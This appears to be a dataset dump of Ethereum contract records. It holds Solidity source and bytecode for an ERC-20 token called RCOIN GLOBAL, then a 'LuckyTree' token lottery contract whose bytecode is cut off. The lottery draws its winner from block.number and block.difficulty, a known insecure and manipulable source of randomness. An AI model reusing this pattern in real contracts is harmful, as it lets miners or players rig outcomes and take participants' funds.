// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'RCOIN GLOBAL' contract // // Symbol : RCG // Name : RCOIN GLOBAL // Total supply: 60 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract RCG is BurnableToken { string public constant name = "RCOIN GLOBAL"; string public constant symbol = "RCG"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 60000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600c81526020017f52434f494e20474c4f42414c000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a63039387000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f524347000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122093b4d74b6afa553efce210f8b6cb09a546f9470aff1b64b79024c72d8233063b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,088
0x174Bb5D84b78E9e2248e7AA2C789Aeba82F72F68
pragma solidity ^0.4.21; contract SafeMath { uint256 constant MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { require(x <= MAX_UINT256 - y); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { require(x >= y); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) { return 0; } require(x <= (MAX_UINT256 / y)); return x * y; } } contract Owned { address public owner; address public newOwner; function Owned() public{ owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } contract IERC20Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract CreditGAMEInterface { function isGameApproved(address _gameAddress) view public returns(bool); function createLock(address _winner, uint _totalParticipationAmount, uint _tokenLockDuration) public; function removeFailedGame() public; function removeLock() public; function cleanUp() public; function checkIfLockCanBeRemoved(address _gameAddress) public view returns(bool); } contract LuckyTree is Owned, SafeMath{ uint public leafPrice; uint public gameStart; uint public gameDuration; uint public tokenLockDuration; uint public totalParticipationAmount; uint public totalLockedAmount; uint public numberOfLeafs; uint public participantIndex; bool public fundsTransfered; address public winner; mapping(uint => address) public participants; mapping(uint => uint) public participationAmount; mapping(address => bool) public hasParticipated; mapping(address => bool) public hasWithdrawn; mapping(address => uint) public participantIndexes; mapping(uint => address) public leafOwners; event GameWinner(address winner); event GameEnded(uint block); event GameStarted(uint block); event GameFailed(uint block); event GameLocked(uint block); event GameUnlocked(uint block); enum state{ pending, running, paused, finished, closed, claimed } state public gameState; //SET BEFORE DEPLOY address public tokenAddress = 0xfc6b46d20584a7f736c0d9084ab8b1a8e8c01a38; address public creditGameAddress = 0x7f135d5d5c1d2d44cf6abb7d09735466ba474799; /** *leafPrice = price in crb for one leafPrice * _gamestart = block.number when the game _gamestart * _gameduration = block.number when game ends * _tokenLockDuration = number of block for when the tokens are locked */ function LuckyTree( uint _leafPrice, uint _gameStart, uint _gameDuration, uint _tokenLockDuration) public{ leafPrice = _leafPrice; gameStart = _gameStart; gameDuration = _gameDuration; tokenLockDuration = _tokenLockDuration; gameState = state.pending; totalParticipationAmount = 0; numberOfLeafs = 0; participantIndex = 0; fundsTransfered = false; winner = 0x0; } /** * Generate random winner. * **/ function random() internal view returns(uint){ return uint(keccak256(block.number, block.difficulty, numberOfLeafs)); } /** * Set token address. * **/ function setTokenAddress(address _tokenAddress) public onlyOwner{ tokenAddress = _tokenAddress; } /** * Set game address. * **/ function setCreditGameAddress(address _creditGameAddress) public onlyOwner{ creditGameAddress = _creditGameAddress; } /** * Method called when game ends. * Check that more than 1 wallet contributed **/ function pickWinner() internal{ if(numberOfLeafs > 0){ if(participantIndex == 1){ //a single account contributed - just transfer funds back IERC20Token(tokenAddress).transfer(leafOwners[0], totalParticipationAmount); hasWithdrawn[leafOwners[0]] = true; CreditGAMEInterface(creditGameAddress).removeFailedGame(); emit GameFailed(block.number); }else{ uint leafOwnerIndex = random() % numberOfLeafs; winner = leafOwners[leafOwnerIndex]; emit GameWinner(winner); lockFunds(winner); } } gameState = state.closed; } /** * Method called when winner is picked * Funds are transferred to game contract and lock is created by calling game contract **/ function lockFunds(address _winner) internal{ require(totalParticipationAmount != 0); //transfer and lock tokens on game contract IERC20Token(tokenAddress).transfer(creditGameAddress, totalParticipationAmount); CreditGAMEInterface(creditGameAddress).createLock(_winner, totalParticipationAmount, tokenLockDuration); totalLockedAmount = totalParticipationAmount; emit GameLocked(block.number); } /** * Method for manually Locking fiunds **/ function manualLockFunds() public onlyOwner{ require(totalParticipationAmount != 0); require(CreditGAMEInterface(creditGameAddress).isGameApproved(address(this)) == true); require(gameState == state.closed); //pick winner pickWinner(); } /** * To manually allow game locking */ function closeGame() public onlyOwner{ gameState = state.closed; } /** * Method called by participants to unlock and transfer their funds * First call to method transfers tokens from game contract to this contractđ * Last call to method cleans up the game contract **/ function unlockFunds() public { require(gameState == state.closed); require(hasParticipated[msg.sender] == true); require(hasWithdrawn[msg.sender] == false); if(fundsTransfered == false){ require(CreditGAMEInterface(creditGameAddress).checkIfLockCanBeRemoved(address(this)) == true); CreditGAMEInterface(creditGameAddress).removeLock(); fundsTransfered = true; emit GameUnlocked(block.number); } hasWithdrawn[msg.sender] = true; uint index = participantIndexes[msg.sender]; uint amount = participationAmount[index]; IERC20Token(tokenAddress).transfer(msg.sender, amount); totalLockedAmount = IERC20Token(tokenAddress).balanceOf(address(this)); if(totalLockedAmount == 0){ gameState = state.claimed; CreditGAMEInterface(creditGameAddress).cleanUp(); } } /** * Check internall balance of this. * **/ function checkInternalBalance() public view returns(uint256 tokenBalance) { return IERC20Token(tokenAddress).balanceOf(address(this)); } /** * Implemented token interface to transfer tokens to this. * **/ function receiveApproval(address _from, uint256 _value, address _to, bytes _extraData) public { require(_to == tokenAddress); require(_value == leafPrice); require(gameState != state.closed); //check if game approved; require(CreditGAMEInterface(creditGameAddress).isGameApproved(address(this)) == true); uint tokensToTake = processTransaction(_from, _value); IERC20Token(tokenAddress).transferFrom(_from, address(this), tokensToTake); } /** * Calibrate game state and take tokens. * **/ function processTransaction(address _from, uint _value) internal returns (uint) { require(gameStart <= block.number); uint valueToProcess = 0; if(gameStart <= block.number && gameDuration >= block.number){ if(gameState != state.running){ gameState = state.running; emit GameStarted(block.number); } // take tokens leafOwners[numberOfLeafs] = _from; numberOfLeafs++; totalParticipationAmount += _value; //check if contributed before if(hasParticipated[_from] == false){ hasParticipated[_from] = true; participants[participantIndex] = _from; participationAmount[participantIndex] = _value; participantIndexes[_from] = participantIndex; participantIndex++; }else{ uint index = participantIndexes[_from]; participationAmount[index] = participationAmount[index] + _value; } valueToProcess = _value; return valueToProcess; //If block.number over game duration, pick winner }else if(gameDuration < block.number){ gameState = state.finished; pickWinner(); return valueToProcess; } } /** * Return all variables needed for dapp in a single call * **/ function getVariablesForDapp() public view returns(uint, uint, uint, uint, uint, uint, state){ return(leafPrice, gameStart, gameDuration, tokenLockDuration, totalParticipationAmount, numberOfLeafs, gameState); } /** * Manually send tokens to this. * **/ function manuallyProcessTransaction(address _from, uint _value) onlyOwner public { require(_value == leafPrice); require(IERC20Token(tokenAddress).balanceOf(address(this)) >= _value + totalParticipationAmount); if(gameState == state.running && block.number < gameDuration){ uint tokensToTake = processTransaction(_from, _value); IERC20Token(tokenAddress).transferFrom(_from, address(this), tokensToTake); } } /** * Salvage tokens from this. * **/ function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public { require(_tokenAddress != tokenAddress); IERC20Token(_tokenAddress).transfer(_to, _amount); } /** * Kill contract if needed * **/ function killContract() onlyOwner public { selfdestruct(owner); } }
0x6060604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305a9f274146101b1578063106d2813146101da5780631c02708d146102135780631f5ea0911461022857806326a4e8d21461025f5780633218b99d1461029857806335c1d349146102c157806343677ca7146103245780634b79e8ef1461034d5780634eb06f61146103ae578063521d80f8146103c357806353ce7de9146103f05780635e2c19db14610419578063786b844b1461046a57806379ba50971461047f578063872539e7146104945780638da5cb5b146104bd5780638f4ffcb1146105125780639d76ea58146105b65780639e4168121461060b578063a0929cda14610660578063ade7a3ad146106c1578063b4d1c485146106ea578063b4fb3ee3146106ff578063be56dff114610750578063c7aff0d7146107b3578063d0982feb146107f5578063d1f9c24d1461081e578063d4ee1d9014610855578063dfbf53ae146108aa578063e1f0c376146108ff578063e203f33514610928578063f1ee156b14610951578063f2fde38b1461099e575b600080fd5b34156101bc57600080fd5b6101c46109d7565b6040518082815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109dd565b005b341561021e57600080fd5b610226610a79565b005b341561023357600080fd5b6102496004808035906020019091905050610b0b565b6040518082815260200191505060405180910390f35b341561026a57600080fd5b610296600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b23565b005b34156102a357600080fd5b6102ab610bbf565b6040518082815260200191505060405180910390f35b34156102cc57600080fd5b6102e26004808035906020019091905050610bc5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561032f57600080fd5b610337610bf8565b6040518082815260200191505060405180910390f35b341561035857600080fd5b610360610cd2565b6040518088815260200187815260200186815260200185815260200184815260200183815260200182600581111561039457fe5b60ff16815260200197505050505050505060405180910390f35b34156103b957600080fd5b6103c1610d16565b005b34156103ce57600080fd5b6103d6610ea3565b604051808215151515815260200191505060405180910390f35b34156103fb57600080fd5b610403610eb6565b6040518082815260200191505060405180910390f35b341561042457600080fd5b610450600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ebc565b604051808215151515815260200191505060405180910390f35b341561047557600080fd5b61047d610edc565b005b341561048a57600080fd5b610492610f5a565b005b341561049f57600080fd5b6104a7611136565b6040518082815260200191505060405180910390f35b34156104c857600080fd5b6104d061113c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051d57600080fd5b6105b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611161565b005b34156105c157600080fd5b6105c961140c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061657600080fd5b61061e611432565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561066b57600080fd5b6106bf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611458565b005b34156106cc57600080fd5b6106d46115cc565b6040518082815260200191505060405180910390f35b34156106f557600080fd5b6106fd6115d2565b005b341561070a57600080fd5b610736600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bde565b604051808215151515815260200191505060405180910390f35b341561075b57600080fd5b6107716004808035906020019091905050611bfe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107be57600080fd5b6107f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c31565b005b341561080057600080fd5b610808611edd565b6040518082815260200191505060405180910390f35b341561082957600080fd5b610831611ee3565b6040518082600581111561084157fe5b60ff16815260200191505060405180910390f35b341561086057600080fd5b610868611ef6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108b557600080fd5b6108bd611f1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561090a57600080fd5b610912611f42565b6040518082815260200191505060405180910390f35b341561093357600080fd5b61093b611f48565b6040518082815260200191505060405180910390f35b341561095c57600080fd5b610988600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f4e565b6040518082815260200191505060405180910390f35b34156109a957600080fd5b6109d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f66565b005b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3557fe5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad157fe5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600c6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7b57fe5b80601160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035481565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610cb657600080fd5b5af11515610cc357600080fd5b50505060405180519050905090565b6000806000806000806000600254600354600454600554600654600854601160009054906101000a900460ff1696509650965096509650965096509091